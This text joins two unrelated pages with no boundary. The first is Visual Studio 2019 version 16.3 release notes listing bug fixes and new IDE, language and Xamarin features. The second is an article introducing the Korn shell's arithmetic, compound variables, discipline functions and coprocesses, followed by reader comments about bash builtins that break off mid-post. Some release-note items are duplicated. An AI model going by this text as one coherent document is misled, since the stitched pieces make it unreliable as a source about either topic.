Anonymous [ip: 130.76.64.14] on May 05, 2008 11:51 PM $ ksh \[\033]0;\w\007 \033[32m\]\u@nadine \[\033[33m\w\033[0m\] $ OK - ksh doesn't treat my PS1 correctly. That's a bad start for my adoption of ksh(1). # Korn -- an extended shellPosted by: Anonymous [ip: 213.41.244.95] on May 06, 2008 06:27 AM -- Basile Starynkevitch # Attack geeks on the prowl?Posted by: Anonymous [ip: 122.167.9.254] on May 06, 2008 09:36 AM Millions of us use PCs with yesterday's RAM, whether 256MB, 128MB, or even (gasp) 64MB, and want programs to be reasonably efficient for what they do. Efficiency is always needed ... some of us with second machines with 2GB or 4GB find the experience unpleasant when inefficient programs chew up all available memory for no apparent reason than it is there, for example the popular internet browser (not naming any names, it has just been fixed) which works just fine on 128MB, but for some bizarre reason rolls all the way up to 3.6GB on a 4GB machine??? As for the 64MB systems and smaller, because of efficient software, we can do all kinds of nifty stuff on them, like run HAM stations, robotics, home automation and other experiments in annoying people and animal pets, telephone answering machines, and a thousand other things. A bit of efficiency always helps. 4MB versus 6MB is a big difference. "... learning something like ruby, perl, or python that gives you much more power" ... is true and sometimes the best way, yet often they just pile on layers of complexity, memory usage, etc. Just for a few simple calculations, per example of original writer? Good for ksh to have been first (if memory serves) to make such calculations available in a shell with a measure of sophistication. And good for bash to have stepped up for some friendly competition. There is room for all. I could go on, but you get the idea. I cheer the original writer who took the chance to bring up some good positive ideas even if the bash example was a bit dated. Why not reread his bit about compound functions, coprocesses -- just those two provide many ways to create useful new functionality in a short time for varied needs. And I cheer those who spoke up for reasonable efficiency, for the needs of embedded systems, and all the rest of us who try to squeeze more fun functionality into ever-tinier spaces. # well, another "lame!" commentPosted by: Michael Shigorin on May 06, 2008 10:57 PM But. For interactive usage, get yourself zsh and practice tabbing through e.g. ls options. I won't write an article on that, just try yourself. For advanced usage, I'll second Ruby recommendation. For embedded usage, there's busybox. No ksh at bay. PS: just in case, I happen to co-maintain pdksh package in ALT Linux since 2002. # Korn -- an extended shellPosted by: Anonymous [ip: 84.246.31.190] on May 07, 2008 01:16 AM with set -o vi btw echo is buildin and an external command if you wanne use the the external command you will need to give the full path to the command. The external one has some nice options ... /Arthur # Korn -- an extended shellPosted by: Anonymous [ip: 122.167.39.224] on May 07, 2008 07:32 AM # Korn -- an extended shellPosted by: Anonymous [ip: 10.0.1.177] on May 08, 2008 05:19 PM #
http://www.linux.com/feature/133683
crawl-001
refinedweb
2,972
71.65
Gregor J. Rothfuss wrote: > Tim Williams wrote: > >I am not completely sure that it matters, but I felt like some of my > >issues yesterday with the stylesheet might have been namespace related > >(i.e. the source doc had a trailing "slash" and the stylesheet did > >not). The standard seems to indicate with a trailing slash, I suspect > >most tools would be forgiving on this anyway and I'm not sure that it > >really matters but it seems we should pick one and run with it. > > it does matter. tools are not at liberty to ignore trailing slashes. Both xmllint and Jing complain about the trailing slash. does not use a trailing slash. Yet the examples do use a trailing slash at Confused. -David
http://mail-archives.apache.org/mod_mbox/forrest-dev/200509.mbox/%3C20050907233811.GA13382@igg.indexgeo.com.au%3E
CC-MAIN-2014-15
refinedweb
123
81.53
11627/how-to-configure-endorsement-policy-in(..) Example: "AND('Org1.member', 'Org2.member')" When you execute peer instantiate chaincodeName you have to pass -P policyString where policyString is the expression shown as in the above example Ex: peer chaincode instantiate -C testchainid -n mycc -p github.com/hyperledger/fabric/examples/chaincode/go/chaincode_example02 -c '{"Args":["init","a","100","b","200"]}' -P "AND('Org1.member', 'Org2.member')" What the logic -P "AND('Org1.member', 'Org2.member')" in your code mean? You can use the OR gate for this. Refer the below logic. -P "AND('Org1.member', 'Org2.member')" You can also use nested logic. Suppose you want to request one signature from a member of the Org1 MSP or 1 signature from a member of the Org2 MSP and 1 signature from a member of the Org3 MSP. Then you can use the following logic: OR('Org1.member', AND('Org2.member', 'Org3.member')) Endorsement policy can be set by using the -P switch. When instantiating the chaincode, use the -P switch following by a Boolean logic representing which peer or organization has to sign the transaction. $ peer chaincode instantiate <other parameters> -P <boolean logic> Give the proposal responses you are receiving ...READ MORE I know it is a bit late ...READ MORE The peers communicate among them through the ...READ MORE Summary: Both should provide similar reliability of ...READ MORE To read and add data you can ...READ MORE This will solve your problem import org.apache.commons.codec.binary.Hex; Transaction txn ...READ MORE To do this, you need to represent ...READ MORE I think the docker-compose tool is not ...READ MORE OR Already have an account? Sign in.
https://www.edureka.co/community/11627/how-to-configure-endorsement-policy-in-hyperledger
CC-MAIN-2019-47
refinedweb
280
59.9
set the system tick size #include <time.h> long qnx_ticksize( long nsec, int flags ); The qnx_ticksize() function sets the system tick size. This tick is the base granularity for the time functions. The nsec argument specifies the ticksize in nanoseconds. The flags argument controls how the nsec value is used. At least the following exclusive flag values are defined: This flag allows the timer functions to be an even multiple of the hardware timer. The previous ticksize (in nanoseconds) upon success. If an error occurs, -1 is returned and errno is set to indicate the error. QNX Your application must run as root to call this function. errno, qnx_adj_time()
https://users.pja.edu.pl/~jms/qnx/help/watcom/clibref/qnx/qnx_ticksize.html
CC-MAIN-2022-33
refinedweb
109
67.76
Feature #15166open 2.5 times faster implementation than current gcd implmentation Description This is to be more explicit (and accurate) than This is my modified gcd benchmarks code, originally presented by Daniel Lemire (see 15161). Ruby's current implementation of Stein's gcd algorithm is only slightly faster than the code posted on the wikepedia page, and over 2.5 times slower than the fastest implementation in the benchmarks. [jzakiya@localhost ~]$ ./gcdbenchmarks gcd between numbers in [1 and 2000] gcdwikipedia7fast32 : time = 99 gcdwikipedia4fast : time = 121 gcdFranke : time = 126 gcdwikipedia3fast : time = 134 gcdwikipedia2fastswap : time = 136 gcdwikipedia5fast : time = 139 = 267 gcdwikipedia2 : time = 321 gcd between numbers in [1000000001 and 1000002000] gcdwikipedia7fast32 : time = 100 gcdwikipedia4fast : time = 121 gcdFranke : time = 126 gcdwikipedia3fast : time = 134 gcdwikipedia2fastswap : time = 136 gcdwikipedia5fast : time = 138 = 269 gcdwikipedia2 : time = 323 This is Ruby's code per: which is basically the wikepedia implementation. inline static long i_gcd(long x, long y) { unsigned long u, v, t; int shift; if (x < 0) x = -x; if (y < 0) y = -y; if (x == 0) return y; if (y == 0) return x; u = (unsigned long)x; v = (unsigned long)y; for (shift = 0; ((u | v) & 1) == 0; ++shift) { u >>= 1; v >>= 1; } while ((u & 1) == 0) u >>= 1; do { while ((v & 1) == 0) v >>= 1; if (u > v) { t = v; v = u; u = t; } v = v - u; } while (v != 0); return (long)(u << shift); } This is the fastest implementation from the benchmarks. (I originally, wrongly, cited the implementation in the article, which is 4|5th fastest in benchmarks, but still almost 2x faster than the Ruby implementation.) // based on wikipedia's article, // fixed by D. Lemire, K. Willets unsigned int gcdwikipedia7fast32(unsigned int u, unsigned int v) { int shift, uz, vz; if ( u == 0) return v; if ( v == 0) return u; uz = __builtin_ctz(u); vz = __builtin_ctz(v); shift = uz > vz ? vz : uz; u >>= uz; do { v >>= vz; int diff = v; diff -= u; if ( diff == 0 ) break; vz = __builtin_ctz(diff); if ( v < u ) u = v; v = abs(diff); } while( 1 ); return u << shift; } The key to speeding up all the algorithms is using the __builtin_ctz(x) directive to determine the number of trailing binary '0's. Files Updated by jzakiya (Jabari Zakiya) over 3 years ago - Backport deleted ( 2.3: UNKNOWN, 2.4: UNKNOWN, 2.5: UNKNOWN) - Tracker changed from Bug to Feature Updated by mame (Yusuke Endoh) over 3 years ago - Assignee set to watson1978 (Shizuo Fujita) - Status changed from Open to Assigned Thanks. Assigned to watson1978 (Shizuo Fujita). It would be very helpful if you could provide us a patch and perform the benchmark with Ruby implementation, not a toy benchmark program. Note that __builtin_ctzl is not available on some compilers. You need to check if it is available or not. Updated by jzakiya (Jabari Zakiya) over 3 years ago Hi I just submitted this issue feature request: to deal with the issue of using (or not) the __builtin_ctz compiler directive. I implemented code that mimicked it that also greatly increases the ruby gcd performance. I included the new code and benchmarks to the gist I previously linked. [jzakiya@jabari-pc ~]$ ./gcd2 gcd between numbers in [1 and 2000] gcdwikipedia7fast32 : time = 73 gcdwikipedia4fast : time = 113 gcdFranke : time = 133 gcdwikipedia3fast : time = 139 gcdwikipedia2fastswap : time = 162 gcdwikipedia5fast : time = 140 gcdwikipedia7fast : time = 129 gcdwikipedia2fast : time = 161 gcdwikipedia6fastxchg : time = 145 gcdwikipedia2fastxchg : time = 168 gcd_iterative_mod : time = 230 gcd_recursive : time = 232 basicgcd : time = 234 rubygcd : time = 305 gcdwikipedia2 : time = 312 gcdwikipedia7fast32_a : time = 129 gcdwikipedia4fast_a : time = 149 rubygcd_a : time = 193 rubygcd_b : time = 169 gcd between numbers in [1000000001 and 1000002000] gcdwikipedia7fast32 : time = 76 gcdwikipedia4fast : time = 106 gcdFranke : time = 121 gcdwikipedia3fast : time = 127 gcdwikipedia2fastswap : time = 153 gcdwikipedia5fast : time = 126 gcdwikipedia7fast : time = 118 gcdwikipedia2fast : time = 148 gcdwikipedia6fastxchg : time = 134 gcdwikipedia2fastxchg : time = 154 gcd_iterative_mod : time = 215 gcd_recursive : time = 214 basicgcd : time = 220 rubygcd : time = 287 gcdwikipedia2 : time = 289 gcdwikipedia7fast32_a : time = 116 gcdwikipedia4fast_a : time = 142 rubygcd_a : time = 180 rubygcd_b : time = 155 Note using the __builtin_ctz mimicking code, instead of the directive itself, still makes the gcdwikipedia7fast32_a the third fastest version, and obviously the preferred implementation if not using __builtin_ctz. I present this in asking you how you want me to proceed, because I don't really know C code and how to do PRs to Ruby. If you can lay out a detailed process for me to do that maybe I can assess what is in my capacity to do. At minimum, the code for rubygcd_a could|can be incorporated into the codebase without dealing right now with the __builtin_ctz directive issue. Updated by mame (Yusuke Endoh) over 3 years ago No, no. You can just use __builtin_ctzl when it is available. All you need is check if it is available or not, and keep the original code for the case where __builtin_ctzl is unavailable. Gcc and clang provide it, so it is actually available in almost all cases. Even if __builtin_ctzl is unavailable, it should still build and work, but the performance does not matter, I think. Ruby is already using __builtin_ctz and __builtin_ctzll. See configure.ac and internal.h. Updated by ahorek (Pavel Rosický) about 3 years ago your micro-benchmarks aren't always fair, because some algorithms don't handle all edge cases, different data types etc. for jruby I choose a different algorithm that is slightly slower than the fastest gcdwikipedia7fast32 (~15%) but in my opinion more readable. here's the PR (gcdwikipedia7fast32 + minor changes) and some ruby numbers (benchmark) all variants tested on AMD FX 8300 8C and gcc version 8.1.0 (Ubuntu 8.1.0-5ubuntu1~14.04) ruby 2.7.0dev (2018-12-28 trunk 66617) [x86_64-linux] Time#subsec 2.969M (± 9.6%) i/s - 14.733M in 5.010950s Time#- 5.716M (±11.4%) i/s - 28.103M in 5.000934s Time#round 400.712k (±11.9%) i/s - 1.992M in 5.046665s Time#to_f 6.422M (±10.5%) i/s - 31.613M in 4.999488s Time#to_r 2.251M (±10.4%) i/s - 11.124M in 5.002516s Rational#+ 5.377M (±10.1%) i/s - 26.577M in 5.001636s Rational#- 5.542M (± 9.5%) i/s - 27.419M in 5.001546s Rational#* 6.341M (± 9.5%) i/s - 31.390M in 5.002212s gcd 6.922M (± 9.0%) i/s - 34.285M in 5.001389s trunk + new gcd Time#subsec 3.348M (± 8.9%) i/s - 16.592M in 4.999620s / 1.13 Time#- 5.840M (±11.6%) i/s - 28.728M in 5.000946s / 1.02 Time#round 468.770k (±12.5%) i/s - 2.319M in 5.028050s / 1.17 Time#to_f 6.713M (± 9.8%) i/s - 33.214M in 4.999639s / 1.05 Time#to_r 3.191M (± 7.9%) i/s - 15.884M in 5.010305s / 1.42 Rational#+ 5.893M (±10.6%) i/s - 29.082M in 4.999884s / 1.10 Rational#- 6.183M (±11.2%) i/s - 30.443M in 4.999746s / 1.12 Rational#* 7.069M (±10.5%) i/s - 34.922M in 5.001804s / 1.11 gcd 9.742M (±10.4%) i/s - 48.159M in 5.007085s / 1.40 trunk + new gcd without __builtin_ctz support Time#subsec 2.699M (± 8.9%) i/s - 13.385M in 5.002527s / 0.89 Time#- 5.734M (±10.6%) i/s - 28.224M in 5.002541s / 1.00 Time#round 392.314k (±13.8%) i/s - 1.926M in 5.012040s / 0.98 Time#to_f 6.725M (±10.5%) i/s - 33.163M in 4.999346s / 1.04 Time#to_r 2.366M (± 9.1%) i/s - 11.705M in 5.004491s / 1.05 Rational#+ 5.429M (±10.1%) i/s - 26.851M in 5.006358s / 1.01 Rational#- 5.544M (± 9.8%) i/s - 27.430M in 5.002418s / 0.98 Rational#* 6.225M (±10.7%) i/s - 30.833M in 5.018386s / 0.98 gcd 7.001M (± 7.1%) i/s - 34.855M in 5.006972s / 1.01 alternative implementations jruby 9.2.6.0-SNAPSHOT (2.5.3) 2018-12-27 e51a3e4 Java HotSpot(TM) 64-Bit Server VM 11.0.1+13-LTS on 11.0.1+13-LTS +jit [linux-x86_64] Time#subsec 5.018M (± 6.3%) i/s - 24.866M in 4.979170s Time#- 7.868M (± 5.6%) i/s - 39.066M in 4.985576s Time#round 3.461M (± 8.1%) i/s - 17.138M in 4.998527s Time#to_f 8.198M (± 5.2%) i/s - 40.775M in 4.990224s Time#to_r 4.789M (± 6.9%) i/s - 23.777M in 4.992261s Rational#+ 5.217M (± 6.3%) i/s - 25.944M in 4.995694s Rational#- 5.701M (± 7.4%) i/s - 28.329M in 4.998743s Rational#* 6.290M (± 6.7%) i/s - 31.283M in 4.997365s gcd 7.376M (± 7.2%) i/s - 36.625M in 4.995073s truffleruby 1.0.0-rc10, like ruby 2.4.4, GraalVM CE Native [x86_64-linux] Time#subsec 3.541M (±67.8%) i/s - 13.706M in 4.986699s Time#- 8.279M (± 9.4%) i/s - 38.671M in 4.984896s Time#round 311.696k (±43.3%) i/s - 502.226k in 4.991276s Time#to_f 16.719M (± 9.2%) i/s - 75.067M in 4.981367s Time#to_r 1.386M (±21.2%) i/s - 5.045M in 4.993055s Rational#+ 7.332M (±14.7%) i/s - 28.100M in 4.982371s Rational#- 7.354M (±24.3%) i/s - 22.682M in 4.992218s Rational#* 7.340M (±19.3%) i/s - 28.534M in 5.003816s gcd 68.576M (± 4.7%) i/s - 326.812M in 4.908116s as you can see Time#to_r and Integer#gcd is about 40% faster which is the best case scenario even when in your micro-benchmark it was 300% faster. using the new algorithm without __builtin_ctz introduced some perf regressions, but they're within margin of error I don't think this change will have some impact on real application's performance, all of these cases are just micro-benchmarks... Updated by ahorek (Pavel Rosický) about 3 years ago - File rational.c.patch rational.c.patch added Also available in: Atom PDF
https://bugs.ruby-lang.org/issues/15166
CC-MAIN-2022-05
refinedweb
1,678
80.99
June 2, 2018 2018 TCO Algorithm Round 2A Editorials Round 2A is the first round of TCO2018 that marks the start of the “serious” part of the TCO algorithm track since all competitors, including high rated ones (who got a bye in round 1), can compete. 895 competitors qualified through rounds 1A or 1B, while 252 competitors received byes, for a total of 1147 competitors. There are only 200 spots in round 2A for advancement to round 3, (see for a refresher on the rules). This is also an opportunity to win a t-shirt! (All round 3 participants will earn an exclusive Topcoder t-shirt). The writer of these problems is [ltdtl]. The writer of this editorial is [lg5293]. Div1 Easy ArithmeticSequenceDiv1: In this problem, you are given a sequence of numbers. You can change the value of any term to any integer at the cost equal to the absolute difference between the old value and the new value. You can apply this operation as many times as you want, and at the end you want an arithmetic sequence. You would like to know the minimum cost to make this happen. There are a few different approaches to this problem. For the first approach, we can first observe that it is never optimal to apply the operation to all elements in the array (i.e. there will always be one element that stays the same). To prove this, suppose we had an optimal answer that did an operation to every element in the array. We can always shift all elements up by one or down by one until one of them equals their original value without increasing the cost of our operations. Thus, we can iterate through which element stays the same, and also iterate through the possible values of the differences in the arithmetic sequence (this will fix the value of all other elements), then compute the cost to get the minimum. In particular, you can show that since the numbers are bounded from 1 to 100, the optimal difference’s absolute value will not exceed 100. A sample Java implementation is shown here: public class ArithmeticSequenceDiv1 { public int findMinCost(int[] x) { int n = x.length; int ans = 0; // base solution: change every term to 0. for(int i = 0; i < n; i++) ans += x[i]; for(int i = 0; i < n; i++) { // fix x[i]. for(int d = -100; d <= 100; d++) { int sum = 0; for(int j = 0; j < n; j++) { int y = x[i] + (j-i)*d; sum += Math.abs(x[j] - y); } ans = Math.min(ans, sum); } } return ans; } }; This code takes O(n^3) time, O(n) from fixing which element stays the same, O(n) for iterating through the differences, and O(n) for computing the cost given fixing the two things above. For the second approach, let’s first start by trying to solve the easier version of the problem where we want to make all numbers the same. This is a somewhat standard problem, in which the solution is to make all numbers equal to the median (you can see a proof here:). This can be implemented with the following python code: def f(a): m = sorted(a)[len(a)/2] return sum(abs(y-m) for y in a) This method takes O(n log n) time to sort, and O(n) to sum the absolute differences. Now, how do we return back to the arithmetic sequence? We know our arithmetic sequence is going to be of the form a,a+d,a+2d,…a+(n-1)d. We’ll show we can reduce our problem of trying to find how to make all the numbers equal. Let’s pretend we know what d is, and fix d to be a constant. If our original array is x_0, x_1, …, x_(n-1), let’s replace x_i with z_i = x_i – i * d. Then, we can see that |x_i – (a + i*d)| is equal to |z_i – a|. Thus, minimizing the cost to make x an arithmetic sequence with difference d is equivalent to minimizing the cost needed to make z a constant sequence, which we know how to do already! Thus, it suffices to just try all values of d. What values of d would be reasonable? In this case, since the numbers are bounded from 1 to 100, we can just try d from -100 to 100. Here is the complete code: class ArithmeticSequenceDiv1: def findMinCost(self,x): def f(a): m = sorted(a)[len(a)/2] return sum(abs(y-m) for y in a) return min(f(map(lambda y: y[1]-y[0]*d, enumerate(x))) for d in range(-200,200)) To break this down, enumerate(x) returns an array of tuples [(0, x[0]), (1, x[1]), (2, x[2]), …]. We apply the function y[1] – y[0]*d to each tuple in this list to get z. Finally, we can plug z in to our function f that we wrote earlier to get the minimum cost. Since we are trying O(n) different values of d, and each d takes O(n log n) time to check, the runtime of this approach is O(n^2 log n). Div1 Medium MakingRegularGraph: In this problem, you are given a graph and you would like to add edges so the graph is 2-regular (i.e. all nodes have degree 2). You are not allowed to add multiple edges in this graph. Also, you would like to return the lexicographically smallest solution (as defined in the problem statement). First, one key observation is that a 2 regular graph consists of disjoint cycles (you can see this reference for a proof:). To solve the original problem, we know that our graph is a collection of disjoint paths or cycles (path in this case can include a single node by itself). We can ignore already formed cycles, so it suffices to join paths together. To solve this, we can proceed greedily. Let’s keep a heap of all of our paths. The heap will contain tuples of the form (smaller index endpoint, larger index endpoint). To choose which edge to add, we only need to consider the top two paths in our heap, and add the edge is lexicographically smallest. We have to be careful about closing a cycle (since if we remove this cycle we need to make sure there are at least 3 nodes remaining to form a full cycle so we can use all nodes in some cycle). Here is a python implementation. import heapq class MakingRegularGraph: def addEdges(self,n,x,y): if n <= 2: return [-1] g = [[] for __ in xrange(n)] deg = [0 for __ in xrange(n)] conn = [[False for _ in xrange(n)] for __ in xrange(n)] for i in range(n): conn[i][i] = True for a,b in zip(x,y): g[a].append(b) g[b].append(a) deg[a] += 1 deg[b] += 1 conn[a][b] = True conn[b][a] = True vis = [False for __ in xrange(n)] def dfs(node): vis[node] = True for a in g[node]: if not vis[a]: x,y = dfs(a) return x,y+1 return node, 1 def make(a,b): return min(a,b), max(a,b) heap = [] for i in range(n): if not vis[i] and deg[i] <= 1: o, count = dfs(i) heapq.heappush(heap, (make(o,i), count)) have = sum(vis) if len(heap) == 0: return [] ans = [] while len(heap) > 1: t1 = heapq.heappop(heap) s1 = t1[0] n1 = t1[1] t2 = heapq.heappop(heap) s2 = t2[0] n2 = t2[1] if make(s1[0],s1[1]) < make(s1[0],s2[0]) and not conn[s1[0]][s1[1]] and have - n1 > 2: ans.extend(make(*s1)) have -= n1 heapq.heappush(heap, t2) else: conn[s1[0]][s2[0]] = True conn[s2[0]][s1[0]] = True ans.extend(make(s1[0],s2[0])) heapq.heappush(heap, (make(s1[1],s2[1]), n1+n2)) if conn[heap[0][0][0]][heap[0][0][1]]: return [-1] ans.extend(make(*heap[0][0])) return ans The time complexity of this approach is O(n log n), since there are at most O(n) iterations of the while loop, each of which takes O(log n) time to perform. Div1 Hard ObtuseTrianglesDiv1: In this problem, we are given numbers a, a+1, a+2, …, a+3*n-1, and we would like to group these numbers into triples so that each triple can be the side lengths of an obtuse triangle. Let’s do this construction recursively. Let’s fix a, and for small enough n, we can do a brute force to generate a solution. Now, let k = floor(n/2), and given a valid solution for (a, k), we will show how to generate a solution for (a, n). The triangles for (a, k) are (x_1, y_1, z_1), …, (x_k, y_k, z_k), all obtuse, with x_i < y_i < z_i. In addition, we will also add the restriction that x_1 = a, x_2 = a+1, … x_(n/2) = a+k-1. For (a, n), we can first create triangles k triangles of the form (x_i, y_i + (n – k), z_i + (n – k)). We can check this is still an obtuse triangle. This will take numbers from the union of intervals [a, a+k-1] and [a+k+(n-k),a+3*k-1+(n-k)] = [a+n,a+n+2*k-1] The remaining (n-k) triangles can be of the form (k+i+a, k+i+2*n+a, 2*k+n+i+a) for i between 0 and n-k-1, inclusive. This will take numbers from union of intervals [k+a,k+(n-k)-1+a] = [k+a, n-1+a], [k+2*n+a,k+n-k-1+2*n] = [k+2*n+a,3*n-1], and [2*k+n+a, 2*k+n+n-k-1+a] = [a+n+2*k, 2*n+k+a-1]. Also, we can see that the smallest side of all the triangles form the numbers in the interval [a,a+n-1] inclusive, so this completes the recursion. We can check these 3n triangles are obtuse, and the side lengths are distinct integers between a and a+3*n-1, inclusive. See the sample Java implementation below: import java.util.Set; import java.util.HashSet; public class ObtuseTrianglesDiv1 { boolean doit(long[][] sav, int mini, int n, int x, int mask) { if(x == n) { return true; } int a = x, b, c; if((mask & (1<<a)) != 0) { // should not be reached. return false; } for(b = n; b < 3*n; b++) { if((mask & (1<<b)) != 0) continue; for(c = b+1; c < 3*n; c++) { if((mask & (1<<c)) != 0) continue; if((a+mini)+(b+mini) <= (c+mini)) break; if((mini+a)*(mini+a)+(mini+b)*(mini+b) >= (mini+c)*(mini+c)) continue; sav[x][0] = a+mini; sav[x][1] = b+mini; sav[x][2] = c+mini; if(doit(sav, mini, n, x+1, mask+(1<<a)+(1<<b)+(1<<c))) return true; } } return false; } long[] brute(int a, int n) { if(a==1) return new long[0]; long[][] sav = new long[n][]; for(int i = 0; i < n; i++) sav[i] = new long[3]; if(doit(sav, a, n, 0, 0)) { long[] ret = new long[n]; for(int l = 0; l < n; l++) { long val = sav[l][0]; val *= 10000L; val += sav[l][1]; val *= 10000L; val += sav[l][2]; ret[l] = val; } return ret; } return new long[0]; } long encode(long x, long y, long z) { long ret = x; ret *= 10000L; ret += y; ret *= 10000L; ret += z; return ret; } public long[] findObtuseTriangles(int a, int n) { if(a==1) return new long[0]; switch(a) { case 2: if(n <= 1) return brute(a, n); break; case 3: case 4: if(n <= 3) return brute(a, n); break; case 5: case 6: if(n <= 7) return brute(a, n); break; case 7: case 8: case 9: case 10: if(n <= 9) return brute(a, n); break; default: // should not be reached. return new long[0]; } int hn = n/2; // solve smaller problem first. long[] tmp = findObtuseTrianglesInternal(a, hn); long[] ret = new long[n]; for(int i = 0; i < n; i++) { if(i < hn) { long x, y, z; z = tmp[i] % 10000; y = (tmp[i]/10000) % 10000; x = (tmp[i]/10000/10000); y += (n-hn); z += (n-hn); ret[i] = encode(x, y, z); } else { long x, y, z; x = i+a; y = i + 2*n + a; z = i + n + hn+a; ret[i] = encode(x, y, z); } } return ret; } }; Harshit Mehta
https://www.topcoder.com/2018-tco-algorithm-round-2a-editorials/
CC-MAIN-2019-43
refinedweb
2,113
67.59
Say I have a class : public class Boy { @Inject @Named("birthDay") BirthDay bday; } Why do you need to inject something in the mock? You need to have two test classes for testing Boy and BirthDay classes. Here you sould test logic of a Boy class public class BoyTest{ @Mock private BirthDay brithday; @InjectMock private Boy boy; } And logic of a BirthDay should have it's own Test class. public class BirthDayTest { @Mock private Dependency dependency ; @InjectMock private BirthDay brithday; } So, you should assume that your mock returns some data that you need. And check that your Unit under test works as expected with given data.
https://codedump.io/share/WAVI9P9le7Sn/1/how-to-use-injectmocks-for-a-dependency-for-another-class-to-be-mocked
CC-MAIN-2016-50
refinedweb
105
67.49
DSON Hell on Earth..... edited December 1969 in The Commons Ok. I have tried installing DSON files to where people have told me. I have installed products in multiple runtimes and programs. The only thing I can get Genesis to do is take shape and apply the MATs from the Essentials. I recently bought the Killershark fig, which has DSON files and I can't find a MAT, nor anything else for that matter, just the morph in the Genesis fig. I'm starting to get a little irritated here. The last thing I want is my Runtime a mess...... So what's going on? I dont have access to P9 or the importer but here are my thoughts not knowing what you were told. Unlike Poser, DAZ Studio does NOT require a particular folder structure be used. You can have a clothing item and the mat files for it all in one folder or have it divided into subfolders. Inorder to user the DSON files like native Poser files, Poser may require to have the PZ2 mat files moved off to the official Pose folder instead of having them in a subfolder of the Clothing folder under Characters. Just my thoughts. Does Killer Shark have Poser Companion Files? Those are what show up in Poser. If not you can create your own with DAZ Studio 4.5, assuming you have and can run that. There aren't any Pz files for this stuff. No MAT files at all. I even moved stuff around, but NOTHING is working. (Almost nothing. I can get clothes to work, but it's the Genesis character products that aren't loading mats) What are the products? What files do you have in the folder? What do you see in POser when looking at the Library? Did you check in the pose folder for the mats. I found a lot of mine there. When I thought they would have been in material folder. Still trying to learn Poser 9. Hope this helps. Since many vendors of Genesis content either no longer use Poser or do not have access to Poser, it is more than likely Genesis products will have pz2 files rather than mc6 files. Always a good idea to check the pose folder. I checked the Pose folder too. There are some Mats there for Raw Lycan, but they don't load. My Killer Shark doesn't have any Mat. Odd. My M4/V4 Mats work on my Genesis fig just fine. Next question: (there must have been a post about this somewhere) Why is it that the M4 morph for Genesis works, but when you go to conform M4 clothes to Genesis it doesn't work? You have to convert the clothes via autofit in DS4 for them to work. Sorry, I didn't specify. I meant in Poser. Same thing. If you're using a outfit made for M4, you have to convert it in DS4. Ah... so in other words, you still need to have DS4 and this stuff still doesn't really work in Poser. Got it. I thought it was just me. I installed everything and all I can get is: Traceback (most recent call last): File "/Users/Shared/Poser Pro 2012 Content/Runtime/libraries/character/DAZ People/Basic Male.py", line 1, in import dson.dzdsonimporter ImportError: No module named dson.dzdsonimporter So, obviously, it is still not ready for Poser, especially on a Mac. I remain unimpressed and out of luck. I can now go back to ignoring DAZ again. Glad I didn't sign back up for the PC like I was thinking. Back to Rendo for all my content. Thanks for the heads up. i've been having trouble with the V5 and Genesis Troll in Poser 9. The morphs just change scale, no other changes. Currently AFAIK the only converter available is the DS4 autofit plugin (there's a WW add-on for Genesis but IIRC it's made for the Genesis cr2 exported from DS4, not the DSON version). Actually, this is user error, not DAZ... sounds like you either you don't have poser 9/2012 or you didn't install SR3 if you did. I have it installed on both mac and windows and I had no problems getting it set up. I guess what urks me is dropping $50 on a product that technically is useless except for Gen3 products....... Starting to feel a little bit let down by DAZ lately. Perhaps so....
http://www.daz3d.com/forums/viewreply/163985/
CC-MAIN-2015-32
refinedweb
753
84.47
In this section we will know, what is linear search and how linear works. Linear search is also known as "sequential search", by sequential it means it searches the element in sequence. Linear search is a searching mechanism which search key element in sequential manner in array. Linear search is basically for small array but it will be a tedious job when it comes to larger size array. Time complexity in Linear search is more than any other searching algorithm. User have to enter the searching element, it will search the key element, key is either a number or a string in array. Example of Linear Search in Java: public class LinearSearch { public static void main(String[] args) { System.out.println("Linear search"); int[] arr = {0,212, 1219, 781, 26, 124, 441, 127, 12,21,4117}; int i; int key = 4117; boolean flag=false; for(i=0; i<arr.length; i++) { if(arr[i]==key){ // if searching element is same as key element then its return true in flag. flag=true; break; } } if(flag) {System.out.println(key + " key is at= "+i);} else{System.out.println(key + " no not found"); } } } In the above example, we have taken an array of fixed size. The method if(arr[i]==key) , if the searching element is same as key element then flag will return true else return false. Output: After compiling and executing the above program.
http://roseindia.net/tutorial/java/core/linear-search.html
CC-MAIN-2014-15
refinedweb
233
65.01
fatkatie: I don't know of any current perl modules or API that would let you work with junctions. If you can't use "dir /aL" to find the information you want, then try Googling "reparse_point", as it seems that Junctions are a specialization of Windows Reparse Points. I did a little work with them a couple years ago, but didn't dig into it too deeply. If you're just wanting to detect whether a file is a reparse point, though, you should be able to do so with Inline::C. A little of the C code I used to detect reparse points is: #include <windows.h> #include <winbase.h> int is_reparse_point(const char *file_name) { WIN32_FIND_DATA file_data; HANDLE fHandle = FindFirstFile(file_name, &file_data); // If we can't open the file handle, we'll just say it's not a rep +arse point if (fHandle == INVALID_HANDLE_VALUE) return 0; // Convert the bit into a 0/1 value return !!(fHandle.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) +; } [download] Note: I just trimmed this out of an old project, and I don't have the time right now to put it together into a simple perl module, but if you want to pursue this, ping me if you have any troubles, and I'll lend a hand. ...roboticus When your only tool is a hammer, all problems look like your thumb. In reply to Re: <JUNCTION>; how to recognize by roboticus in thread <JUNCTION>; how to recognize by fatkatie Strict Warnings Results (154 votes). Check out past polls.
https://www.perlmonks.org/?node_id=3333;parent=1223827
CC-MAIN-2019-51
refinedweb
249
66.88
Text generation is one of the most common examples of applied Machine Learning (ML). The constant evolution of algorithms and the huge amount of text data available allows us to train models that try to capture context or imitate previous work from others. In this way, ML has been used to do everything from writing journalistic articles to short stories to entire novels. Unfortunately, many of them are obviously poor examples of writing mainly because the ML routines often generate nonsensical sentences and generate long form documents with poor structural coherence. Interestingly, these shortcomings actually work in ML’s favor when it comes to writing poetry, and by corollary, lyrics since they’re more focused on generating an emotional response rather than an intellectual one in the reader/listener. Given a set of input keywords, an ML-driven lyric generator will produce a poem that won’t win any awards, but will likely evoke a response from the reader, even if it’s just to laugh at its absurdity. In this article we are going to use ML to build a routine that will automatically generate lyrics for us. To do so, we’ll follow a set of steps: - Download training data for both lyrics and poetry - Cleanse and combine the data - Create a Recurrent Neural Network (RNN) - Evaluate the results Before You Start: Install Our Lyrics Generator Ready-To-Use Python Environment The easiest way to get started building your Twitter Bot is to install our Lyrics Generator Python environment for Windows or Linux, which contains a version of Python and all of the packages you need. In order to download the ready-to-use Lyrics Generator Lyrics Generator runtime into a virtual environment: powershell -Command "& 